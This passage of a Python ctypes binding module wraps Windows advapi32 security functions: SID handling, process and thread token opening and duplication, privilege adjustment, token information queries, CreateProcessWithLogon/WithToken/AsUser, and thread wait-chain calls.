1314 Sid = PVOID()
1315 _ConvertStringSidToSidW(StringSid, ctypes.pointer(Sid))
1316 return Sid.value
1317
1318 ConvertStringSidToSid = GuessStringType(ConvertStringSidToSidA, ConvertStringSidToSidW)
1319
1320 # BOOL WINAPI IsValidSid(
1321 # __in PSID pSid
1322 # );
1323 def IsValidSid(pSid):
1324 _IsValidSid = windll.advapi32.IsValidSid
1325 _IsValidSid.argtypes = [PSID]
1326 _IsValidSid.restype = bool
1327 return _IsValidSid(pSid)
1328
1329 # BOOL WINAPI EqualSid(
1330 # __in PSID pSid1,
1331 # __in PSID pSid2
1332 # );
1333 def EqualSid(pSid1, pSid2):
1334 _EqualSid = windll.advapi32.EqualSid
1335 _EqualSid.argtypes = [PSID, PSID]
1336 _EqualSid.restype = bool
1337 return _EqualSid(pSid1, pSid2)
1338
1339 # DWORD WINAPI GetLengthSid(
1340 # __in PSID pSid
1341 # );
1342 def GetLengthSid(pSid):
1343 _GetLengthSid = windll.advapi32.GetLengthSid
1344 _GetLengthSid.argtypes = [PSID]
1345 _GetLengthSid.restype = DWORD
1346 return _GetLengthSid(pSid)
1347
1348 # BOOL WINAPI CopySid(
1349 # __in DWORD nDestinationSidLength,
1350 # __out PSID pDestinationSid,
1351 # __in PSID pSourceSid
1352 # );
1353 def CopySid(pSourceSid):
1354 _CopySid = windll.advapi32.CopySid
1355 _CopySid.argtypes = [DWORD, PVOID, PSID]
1356 _CopySid.restype = bool
1357 _CopySid.errcheck = RaiseIfZero
1358
1359 nDestinationSidLength = GetLengthSid(pSourceSid)
1360 DestinationSid = ctypes.create_string_buffer('', nDestinationSidLength)
1361 pDestinationSid = ctypes.cast(ctypes.pointer(DestinationSid), PVOID)
1362 _CopySid(nDestinationSidLength, pDestinationSid, pSourceSid)
1363 return ctypes.cast(pDestinationSid, PSID)
1364
1365 # PVOID WINAPI FreeSid(
1366 # __in PSID pSid
1367 # );
1368 def FreeSid(pSid):
1369 _FreeSid = windll.advapi32.FreeSid
1370 _FreeSid.argtypes = [PSID]
1371 _FreeSid.restype = PSID
1372 _FreeSid.errcheck = RaiseIfNotZero
1373 _FreeSid(pSid)
1374
1375 # BOOL WINAPI OpenProcessToken(
1376 # __in HANDLE ProcessHANDLE,
1377 # __in DWORD DesiredAccess,
1378 # __out PHANDLE TokenHandle
1379 # );
1380 def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS):
1381 _OpenProcessToken = windll.advapi32.OpenProcessToken
1382 _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE]
1383 _OpenProcessToken.restype = bool
1384 _OpenProcessToken.errcheck = RaiseIfZero
1385
1386 NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1387 _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle))
1388 return TokenHandle(NewTokenHandle.value)
1389
1390 # BOOL WINAPI OpenThreadToken(
1391 # __in HANDLE ThreadHANDLE,
1392 # __in DWORD DesiredAccess,
1393 # __in BOOL OpenAsSelf,
1394 # __out PHANDLE TokenHandle
1395 # );
1396 def OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf = True):
1397 _OpenThreadToken = windll.advapi32.OpenThreadToken
1398 _OpenThreadToken.argtypes = [HANDLE, DWORD, BOOL, PHANDLE]
1399 _OpenThreadToken.restype = bool
1400 _OpenThreadToken.errcheck = RaiseIfZero
1401
1402 NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1403 _OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf, byref(NewTokenHandle))
1404 return TokenHandle(NewTokenHandle.value)
1405
1406 # BOOL WINAPI DuplicateToken(
1407 # _In_ HANDLE ExistingTokenHandle,
1408 # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
1409 # _Out_ PHANDLE DuplicateTokenHandle
1410 # );
1411 def DuplicateToken(ExistingTokenHandle, ImpersonationLevel = SecurityImpersonation):
1412 _DuplicateToken = windll.advapi32.DuplicateToken
1413 _DuplicateToken.argtypes = [HANDLE, SECURITY_IMPERSONATION_LEVEL, PHANDLE]
1414 _DuplicateToken.restype = bool
1415 _DuplicateToken.errcheck = RaiseIfZero
1416
1417 DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1418 _DuplicateToken(ExistingTokenHandle, ImpersonationLevel, byref(DuplicateTokenHandle))
1419 return TokenHandle(DuplicateTokenHandle.value)
1420
1421 # BOOL WINAPI DuplicateTokenEx(
1422 # _In_ HANDLE hExistingToken,
1423 # _In_ DWORD dwDesiredAccess,
1424 # _In_opt_ LPSECURITY_ATTRIBUTES lpTokenAttributes,
1425 # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
1426 # _In_ TOKEN_TYPE TokenType,
1427 # _Out_ PHANDLE phNewToken
1428 # );
1429 def DuplicateTokenEx(hExistingToken, dwDesiredAccess = TOKEN_ALL_ACCESS, lpTokenAttributes = None, ImpersonationLevel = SecurityImpersonation, TokenType = TokenPrimary):
1430 _DuplicateTokenEx = windll.advapi32.DuplicateTokenEx
1431 _DuplicateTokenEx.argtypes = [HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE]
1432 _DuplicateTokenEx.restype = bool
1433 _DuplicateTokenEx.errcheck = RaiseIfZero
1434
1435 DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
1436 _DuplicateTokenEx(hExistingToken, dwDesiredAccess, lpTokenAttributes, ImpersonationLevel, TokenType, byref(DuplicateTokenHandle))
1437 return TokenHandle(DuplicateTokenHandle.value)
1438
1439 # BOOL WINAPI IsTokenRestricted(
1440 # __in HANDLE TokenHandle
1441 # );
1442 def IsTokenRestricted(hTokenHandle):
1443 _IsTokenRestricted = windll.advapi32.IsTokenRestricted
1444 _IsTokenRestricted.argtypes = [HANDLE]
1445 _IsTokenRestricted.restype = bool
1446 _IsTokenRestricted.errcheck = RaiseIfNotErrorSuccess
1447
1448 SetLastError(ERROR_SUCCESS)
1449 return _IsTokenRestricted(hTokenHandle)
1450
1451 # BOOL WINAPI LookupPrivilegeValue(
1452 # __in_opt LPCTSTR lpSystemName,
1453 # __in LPCTSTR lpName,
1454 # __out PLUID lpLuid
1455 # );
1456 def LookupPrivilegeValueA(lpSystemName, lpName):
1457 _LookupPrivilegeValueA = windll.advapi32.LookupPrivilegeValueA
1458 _LookupPrivilegeValueA.argtypes = [LPSTR, LPSTR, PLUID]
1459 _LookupPrivilegeValueA.restype = bool
1460 _LookupPrivilegeValueA.errcheck = RaiseIfZero
1461
1462 lpLuid = LUID()
1463 if not lpSystemName:
1464 lpSystemName = None
1465 _LookupPrivilegeValueA(lpSystemName, lpName, byref(lpLuid))
1466 return lpLuid
1467
1468 def LookupPrivilegeValueW(lpSystemName, lpName):
1469 _LookupPrivilegeValueW = windll.advapi32.LookupPrivilegeValueW
1470 _LookupPrivilegeValueW.argtypes = [LPWSTR, LPWSTR, PLUID]
1471 _LookupPrivilegeValueW.restype = bool
1472 _LookupPrivilegeValueW.errcheck = RaiseIfZero
1473
1474 lpLuid = LUID()
1475 if not lpSystemName:
1476 lpSystemName = None
1477 _LookupPrivilegeValueW(lpSystemName, lpName, byref(lpLuid))
1478 return lpLuid
1479
1480 LookupPrivilegeValue = GuessStringType(LookupPrivilegeValueA, LookupPrivilegeValueW)
1481
1482 # BOOL WINAPI LookupPrivilegeName(
1483 # __in_opt LPCTSTR lpSystemName,
1484 # __in PLUID lpLuid,
1485 # __out_opt LPTSTR lpName,
1486 # __inout LPDWORD cchName
1487 # );
1488
1489 def LookupPrivilegeNameA(lpSystemName, lpLuid):
1490 _LookupPrivilegeNameA = windll.advapi32.LookupPrivilegeNameA
1491 _LookupPrivilegeNameA.argtypes = [LPSTR, PLUID, LPSTR, LPDWORD]
1492 _LookupPrivilegeNameA.restype = bool
1493 _LookupPrivilegeNameA.errcheck = RaiseIfZero
1494
1495 cchName = DWORD(0)
1496 _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), NULL, byref(cchName))
1497 lpName = ctypes.create_string_buffer("", cchName.value)
1498 _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName))
1499 return lpName.value
1500
1501 def LookupPrivilegeNameW(lpSystemName, lpLuid):
1502 _LookupPrivilegeNameW = windll.advapi32.LookupPrivilegeNameW
1503 _LookupPrivilegeNameW.argtypes = [LPWSTR, PLUID, LPWSTR, LPDWORD]
1504 _LookupPrivilegeNameW.restype = bool
1505 _LookupPrivilegeNameW.errcheck = RaiseIfZero
1506
1507 cchName = DWORD(0)
1508 _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), NULL, byref(cchName))
1509 lpName = ctypes.create_unicode_buffer(u"", cchName.value)
1510 _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName))
1511 return lpName.value
1512
1513 LookupPrivilegeName = GuessStringType(LookupPrivilegeNameA, LookupPrivilegeNameW)
1514
1515 # BOOL WINAPI AdjustTokenPrivileges(
1516 # __in HANDLE TokenHandle,
1517 # __in BOOL DisableAllPrivileges,
1518 # __in_opt PTOKEN_PRIVILEGES NewState,
1519 # __in DWORD BufferLength,
1520 # __out_opt PTOKEN_PRIVILEGES PreviousState,
1521 # __out_opt PDWORD ReturnLength
1522 # );
1523 def AdjustTokenPrivileges(TokenHandle, NewState = ()):
1524 _AdjustTokenPrivileges = windll.advapi32.AdjustTokenPrivileges
1525 _AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, LPVOID, DWORD, LPVOID, LPVOID]
1526 _AdjustTokenPrivileges.restype = bool
1527 #
1528 # I don't know how to allocate variable sized structures in ctypes :(
1529 # so this hack will work by using always TOKEN_PRIVILEGES of one element
1530 # and calling the API many times. This also means the PreviousState
1531 # parameter won't be supported yet as it's too much hassle. In a future
1532 # version I look forward to implementing this function correctly.
1533 #
1534 if not NewState:
1535 _AdjustTokenPrivileges.errcheck = RaiseIfZero
1536 _AdjustTokenPrivileges(TokenHandle, TRUE, NULL, 0, NULL, NULL)
1537 else:
1538 success = True
1539 errcode = 0
1540 for (privilege, enabled) in NewState:
1541 if not isinstance(privilege, LUID):
1542 privilege = LookupPrivilegeValue(NULL, privilege)
1543 if enabled == True:
1544 flags = SE_PRIVILEGE_ENABLED
1545 elif enabled == False:
1546 flags = SE_PRIVILEGE_REMOVED
1547 elif enabled == None:
1548 flags = 0
1549 else:
1550 flags = enabled
1551 laa = LUID_AND_ATTRIBUTES(privilege, flags)
1552 tp = TOKEN_PRIVILEGES(1, laa)
1553 if _AdjustTokenPrivileges(TokenHandle, FALSE, byref(tp), sizeof(tp), NULL, NULL) == 0:
1554 success = False
1555 errcode = GetLastError()
1556 if not success:
1557 raise ctypes.WinError(errcode)
1558
1559 # BOOL WINAPI GetTokenInformation(
1560 # __in HANDLE TokenHandle,
1561 # __in TOKEN_INFORMATION_CLASS TokenInformationClass,
1562 # __out_opt LPVOID TokenInformation,
1563 # __in DWORD TokenInformationLength,
1564 # __out PDWORD ReturnLength
1565 # );
1566 def GetTokenInformation(hTokenHandle, TokenInformationClass):
1567 if TokenInformationClass <= 0 or TokenInformationClass > MaxTokenInfoClass:
1568 raise ValueError("Invalid value for TokenInformationClass (%i)" % TokenInformationClass)
1569
1570 # User SID.
1571 if TokenInformationClass == TokenUser:
1572 TokenInformation = TOKEN_USER()
1573 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1574 return TokenInformation.User.Sid.value
1575
1576 # Owner SID.
1577 if TokenInformationClass == TokenOwner:
1578 TokenInformation = TOKEN_OWNER()
1579 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1580 return TokenInformation.Owner.value
1581
1582 # Primary group SID.
1583 if TokenInformationClass == TokenOwner:
1584 TokenInformation = TOKEN_PRIMARY_GROUP()
1585 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1586 return TokenInformation.PrimaryGroup.value
1587
1588 # App container SID.
1589 if TokenInformationClass == TokenAppContainerSid:
1590 TokenInformation = TOKEN_APPCONTAINER_INFORMATION()
1591 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1592 return TokenInformation.TokenAppContainer.value
1593
1594 # Integrity level SID.
1595 if TokenInformationClass == TokenIntegrityLevel:
1596 TokenInformation = TOKEN_MANDATORY_LABEL()
1597 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1598 return TokenInformation.Label.Sid.value, TokenInformation.Label.Attributes
1599
1600 # Logon session LUID.
1601 if TokenInformationClass == TokenOrigin:
1602 TokenInformation = TOKEN_ORIGIN()
1603 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1604 return TokenInformation.OriginatingLogonSession
1605
1606 # Primary or impersonation token.
1607 if TokenInformationClass == TokenType:
1608 TokenInformation = TOKEN_TYPE(0)
1609 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1610 return TokenInformation.value
1611
1612 # Elevated token.
1613 if TokenInformationClass == TokenElevation:
1614 TokenInformation = TOKEN_ELEVATION(0)
1615 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1616 return TokenInformation.value
1617
1618 # Security impersonation level.
1619 if TokenInformationClass == TokenElevation:
1620 TokenInformation = SECURITY_IMPERSONATION_LEVEL(0)
1621 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1622 return TokenInformation.value
1623
1624 # Session ID and other DWORD values.
1625 if TokenInformationClass in (TokenSessionId, TokenAppContainerNumber):
1626 TokenInformation = DWORD(0)
1627 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1628 return TokenInformation.value
1629
1630 # Various boolean flags.
1631 if TokenInformationClass in (TokenSandBoxInert, TokenHasRestrictions, TokenUIAccess,
1632 TokenVirtualizationAllowed, TokenVirtualizationEnabled):
1633 TokenInformation = DWORD(0)
1634 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1635 return bool(TokenInformation.value)
1636
1637 # Linked token.
1638 if TokenInformationClass == TokenLinkedToken:
1639 TokenInformation = TOKEN_LINKED_TOKEN(0)
1640 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1641 return TokenHandle(TokenInformation.LinkedToken.value, bOwnership = True)
1642
1643 # Token statistics.
1644 if TokenInformationClass == TokenStatistics:
1645 TokenInformation = TOKEN_STATISTICS()
1646 _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation)
1647 return TokenInformation # TODO add a class wrapper?
1648
1649 # Currently unsupported flags.
1650 raise NotImplementedError("TokenInformationClass(%i) not yet supported!" % TokenInformationClass)
1651
1652 def _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation):
1653 _GetTokenInformation = windll.advapi32.GetTokenInformation
1654 _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD]
1655 _GetTokenInformation.restype = bool
1656 _GetTokenInformation.errcheck = RaiseIfZero
1657
1658 ReturnLength = DWORD(0)
1659 TokenInformationLength = sizeof(TokenInformation)
1660 _GetTokenInformation(hTokenHandle, TokenInformationClass, byref(TokenInformation), TokenInformationLength, byref(ReturnLength))
1661 if ReturnLength.value != TokenInformationLength:
1662 raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER)
1663
1664 return TokenInformation
1665
1666 def GetTokenInformation_sid(hTokenHandle):
1667 """
1668 The original function wasn't working. this one returns the SID for the token
1669 """
1670 _GetTokenInformation = windll.advapi32.GetTokenInformation
1671 _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD]
1672 _GetTokenInformation.restype = bool
1673 _GetTokenInformation.errcheck = RaiseIfZero
1674
1675 ReturnLength = DWORD(0)
1676 try:
1677 #getting the correct memory size
1678 _GetTokenInformation(hTokenHandle, 1, None, ReturnLength, byref(ReturnLength))
1679 except Exception as e:
1680 pass
1681
1682 TokenInformationLength = ReturnLength.value
1683 ReturnLength = DWORD(0)
1684 ti = (BYTE * TokenInformationLength)()
1685 _GetTokenInformation(hTokenHandle, 1, byref(ti), TokenInformationLength, byref(ReturnLength))
1686 if ReturnLength.value != TokenInformationLength:
1687 raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER)
1688
1689 t = ctypes.cast(ti, POINTER(TOKEN_USER)).contents
1690 return t.User.Sid
1691
1692 # BOOL WINAPI SetTokenInformation(
1693 # __in HANDLE TokenHandle,
1694 # __in TOKEN_INFORMATION_CLASS TokenInformationClass,
1695 # __in LPVOID TokenInformation,
1696 # __in DWORD TokenInformationLength
1697 # );
1698
1699 # XXX TODO
1700
1701 # BOOL WINAPI CreateProcessWithLogonW(
1702 # __in LPCWSTR lpUsername,
1703 # __in_opt LPCWSTR lpDomain,
1704 # __in LPCWSTR lpPassword,
1705 # __in DWORD dwLogonFlags,
1706 # __in_opt LPCWSTR lpApplicationName,
1707 # __inout_opt LPWSTR lpCommandLine,
1708 # __in DWORD dwCreationFlags,
1709 # __in_opt LPVOID lpEnvironment,
1710 # __in_opt LPCWSTR lpCurrentDirectory,
1711 # __in LPSTARTUPINFOW lpStartupInfo,
1712 # __out LPPROCESS_INFORMATION lpProcessInfo
1713 # );
1714 def CreateProcessWithLogonW(lpUsername = None, lpDomain = None, lpPassword = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None):
1715 _CreateProcessWithLogonW = windll.advapi32.CreateProcessWithLogonW
1716 _CreateProcessWithLogonW.argtypes = [LPWSTR, LPWSTR, LPWSTR, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION]
1717 _CreateProcessWithLogonW.restype = bool
1718 _CreateProcessWithLogonW.errcheck = RaiseIfZero
1719
1720 if not lpUsername:
1721 lpUsername = None
1722 if not lpDomain:
1723 lpDomain = None
1724 if not lpPassword:
1725 lpPassword = None
1726 if not lpApplicationName:
1727 lpApplicationName = None
1728 if not lpCommandLine:
1729 lpCommandLine = None
1730 else:
1731 lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1))
1732 if not lpEnvironment:
1733 lpEnvironment = None
1734 else:
1735 lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment)
1736 if not lpCurrentDirectory:
1737 lpCurrentDirectory = None
1738 if not lpStartupInfo:
1739 lpStartupInfo = STARTUPINFOW()
1740 lpStartupInfo.cb = sizeof(STARTUPINFOW)
1741 lpStartupInfo.lpReserved = 0
1742 lpStartupInfo.lpDesktop = 0
1743 lpStartupInfo.lpTitle = 0
1744 lpStartupInfo.dwFlags = 0
1745 lpStartupInfo.cbReserved2 = 0
1746 lpStartupInfo.lpReserved2 = 0
1747 lpProcessInformation = PROCESS_INFORMATION()
1748 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1749 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1750 lpProcessInformation.dwProcessId = 0
1751 lpProcessInformation.dwThreadId = 0
1752 _CreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1753 return lpProcessInformation
1754
1755 CreateProcessWithLogonA = MakeANSIVersion(CreateProcessWithLogonW)
1756 CreateProcessWithLogon = DefaultStringType(CreateProcessWithLogonA, CreateProcessWithLogonW)
1757
1758 # BOOL WINAPI CreateProcessWithTokenW(
1759 # __in HANDLE hToken,
1760 # __in DWORD dwLogonFlags,
1761 # __in_opt LPCWSTR lpApplicationName,
1762 # __inout_opt LPWSTR lpCommandLine,
1763 # __in DWORD dwCreationFlags,
1764 # __in_opt LPVOID lpEnvironment,
1765 # __in_opt LPCWSTR lpCurrentDirectory,
1766 # __in LPSTARTUPINFOW lpStartupInfo,
1767 # __out LPPROCESS_INFORMATION lpProcessInfo
1768 # );
1769 def CreateProcessWithTokenW(hToken = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None):
1770 _CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW
1771 _CreateProcessWithTokenW.argtypes = [HANDLE, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION]
1772 _CreateProcessWithTokenW.restype = bool
1773 _CreateProcessWithTokenW.errcheck = RaiseIfZero
1774
1775 if not hToken:
1776 hToken = None
1777 if not lpApplicationName:
1778 lpApplicationName = None
1779 if not lpCommandLine:
1780 lpCommandLine = None
1781 else:
1782 lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1))
1783 if not lpEnvironment:
1784 lpEnvironment = None
1785 else:
1786 lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment)
1787 if not lpCurrentDirectory:
1788 lpCurrentDirectory = None
1789 if not lpStartupInfo:
1790 lpStartupInfo = STARTUPINFOW()
1791 lpStartupInfo.cb = sizeof(STARTUPINFOW)
1792 lpStartupInfo.lpReserved = 0
1793 lpStartupInfo.lpDesktop = 0
1794 lpStartupInfo.lpTitle = 0
1795 lpStartupInfo.dwFlags = 0
1796 lpStartupInfo.cbReserved2 = 0
1797 lpStartupInfo.lpReserved2 = 0
1798 lpProcessInformation = PROCESS_INFORMATION()
1799 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1800 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1801 lpProcessInformation.dwProcessId = 0
1802 lpProcessInformation.dwThreadId = 0
1803 _CreateProcessWithTokenW(hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1804 return lpProcessInformation
1805
1806 CreateProcessWithTokenA = MakeANSIVersion(CreateProcessWithTokenW)
1807 CreateProcessWithToken = DefaultStringType(CreateProcessWithTokenA, CreateProcessWithTokenW)
1808
1809 # BOOL WINAPI CreateProcessAsUser(
1810 # __in_opt HANDLE hToken,
1811 # __in_opt LPCTSTR lpApplicationName,
1812 # __inout_opt LPTSTR lpCommandLine,
1813 # __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes,
1814 # __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
1815 # __in BOOL bInheritHANDLEs,
1816 # __in DWORD dwCreationFlags,
1817 # __in_opt LPVOID lpEnvironment,
1818 # __in_opt LPCTSTR lpCurrentDirectory,
1819 # __in LPSTARTUPINFO lpStartupInfo,
1820 # __out LPPROCESS_INFORMATION lpProcessInformation
1821 # );
1822 def CreateProcessAsUserA(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None):
1823 _CreateProcessAsUserA = windll.advapi32.CreateProcessAsUserA
1824 _CreateProcessAsUserA.argtypes = [HANDLE, LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPVOID, LPPROCESS_INFORMATION]
1825 _CreateProcessAsUserA.restype = bool
1826 _CreateProcessAsUserA.errcheck = RaiseIfZero
1827
1828 if not lpApplicationName:
1829 lpApplicationName = None
1830 if not lpCommandLine:
1831 lpCommandLine = None
1832 else:
1833 lpCommandLine = ctypes.create_string_buffer(lpCommandLine.encode('ascii'), max(MAX_PATH, len(lpCommandLine) + 1))
1834 if not lpEnvironment:
1835 lpEnvironment = None
1836 else:
1837 lpEnvironment = ctypes.create_string_buffer(lpEnvironment.encode('ascii'))
1838 if not lpCurrentDirectory:
1839 lpCurrentDirectory = None
1840 if not lpProcessAttributes:
1841 lpProcessAttributes = None
1842 else:
1843 lpProcessAttributes = byref(lpProcessAttributes)
1844 if not lpThreadAttributes:
1845 lpThreadAttributes = None
1846 else:
1847 lpThreadAttributes = byref(lpThreadAttributes)
1848 if not lpStartupInfo:
1849 lpStartupInfo = STARTUPINFO()
1850 lpStartupInfo.cb = sizeof(STARTUPINFO)
1851 lpStartupInfo.lpReserved = 0
1852 lpStartupInfo.lpDesktop = 0
1853 lpStartupInfo.lpTitle = 0
1854 lpStartupInfo.dwFlags = 0
1855 lpStartupInfo.cbReserved2 = 0
1856 lpStartupInfo.lpReserved2 = 0
1857 lpProcessInformation = PROCESS_INFORMATION()
1858 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1859 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1860 lpProcessInformation.dwProcessId = 0
1861 lpProcessInformation.dwThreadId = 0
1862 _CreateProcessAsUserA(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1863 return lpProcessInformation
1864
1865 def CreateProcessAsUserW(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None):
1866 _CreateProcessAsUserW = windll.advapi32.CreateProcessAsUserW
1867 _CreateProcessAsUserW.argtypes = [HANDLE, LPWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION]
1868 _CreateProcessAsUserW.restype = bool
1869 _CreateProcessAsUserW.errcheck = RaiseIfZero
1870
1871 if not lpApplicationName:
1872 lpApplicationName = None
1873 if not lpCommandLine:
1874 lpCommandLine = None
1875 else:
1876 lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1))
1877 if not lpEnvironment:
1878 lpEnvironment = None
1879 else:
1880 lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment)
1881 if not lpCurrentDirectory:
1882 lpCurrentDirectory = None
1883 if not lpProcessAttributes:
1884 lpProcessAttributes = None
1885 else:
1886 lpProcessAttributes = byref(lpProcessAttributes)
1887 if not lpThreadAttributes:
1888 lpThreadAttributes = None
1889 else:
1890 lpThreadAttributes = byref(lpThreadAttributes)
1891 if not lpStartupInfo:
1892 lpStartupInfo = STARTUPINFO()
1893 lpStartupInfo.cb = sizeof(STARTUPINFO)
1894 lpStartupInfo.lpReserved = 0
1895 lpStartupInfo.lpDesktop = 0
1896 lpStartupInfo.lpTitle = 0
1897 lpStartupInfo.dwFlags = 0
1898 lpStartupInfo.cbReserved2 = 0
1899 lpStartupInfo.lpReserved2 = 0
1900 lpProcessInformation = PROCESS_INFORMATION()
1901 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1902 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1903 lpProcessInformation.dwProcessId = 0
1904 lpProcessInformation.dwThreadId = 0
1905 _CreateProcessAsUserW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1906 return lpProcessInformation
1907
1908 CreateProcessAsUser = GuessStringType(CreateProcessAsUserA, CreateProcessAsUserW)
1909
1910 # VOID CALLBACK WaitChainCallback(
1911 # HWCT WctHANDLE,
1912 # DWORD_PTR Context,
1913 # DWORD CallbackStatus,
1914 # LPDWORD NodeCount,
1915 # PWAITCHAIN_NODE_INFO NodeInfoArray,
1916 # LPBOOL IsCycle
1917 # );
1918 PWAITCHAINCALLBACK = WINFUNCTYPE(HWCT, DWORD_PTR, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL)
1919
1920 # HWCT WINAPI OpenThreadWaitChainSession(
1921 # __in DWORD Flags,
1922 # __in_opt PWAITCHAINCALLBACK callback
1923 # );
1924 def OpenThreadWaitChainSession(Flags = 0, callback = None):
1925 _OpenThreadWaitChainSession = windll.advapi32.OpenThreadWaitChainSession
1926 _OpenThreadWaitChainSession.argtypes = [DWORD, PVOID]
1927 _OpenThreadWaitChainSession.restype = HWCT
1928 _OpenThreadWaitChainSession.errcheck = RaiseIfZero
1929
1930 if callback is not None:
1931 callback = PWAITCHAINCALLBACK(callback)
1932 aHANDLE = _OpenThreadWaitChainSession(Flags, callback)
1933 return ThreadWaitChainSessionHANDLE(aHANDLE)
1934
1935 # BOOL WINAPI GetThreadWaitChain(
1936 # _In_ HWCT WctHANDLE,
1937 # _In_opt_ DWORD_PTR Context,
1938 # _In_ DWORD Flags,
1939 # _In_ DWORD ThreadId,
1940 # _Inout_ LPDWORD NodeCount,
1941 # _Out_ PWAITCHAIN_NODE_INFO NodeInfoArray,
1942 # _Out_ LPBOOL IsCycle
1943 # );
1944 def GetThreadWaitChain(WctHANDLE, Context = None, Flags = WCTP_GETINFO_ALL_FLAGS, ThreadId = -1, NodeCount = WCT_MAX_NODE_COUNT):
1945 _GetThreadWaitChain = windll.advapi32.GetThreadWaitChain
1946 _GetThreadWaitChain.argtypes = [HWCT, LPDWORD, DWORD, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL]
1947 _GetThreadWaitChain.restype = bool
1948 _GetThreadWaitChain.errcheck = RaiseIfZero
1949
1950 dwNodeCount = DWORD(NodeCount)
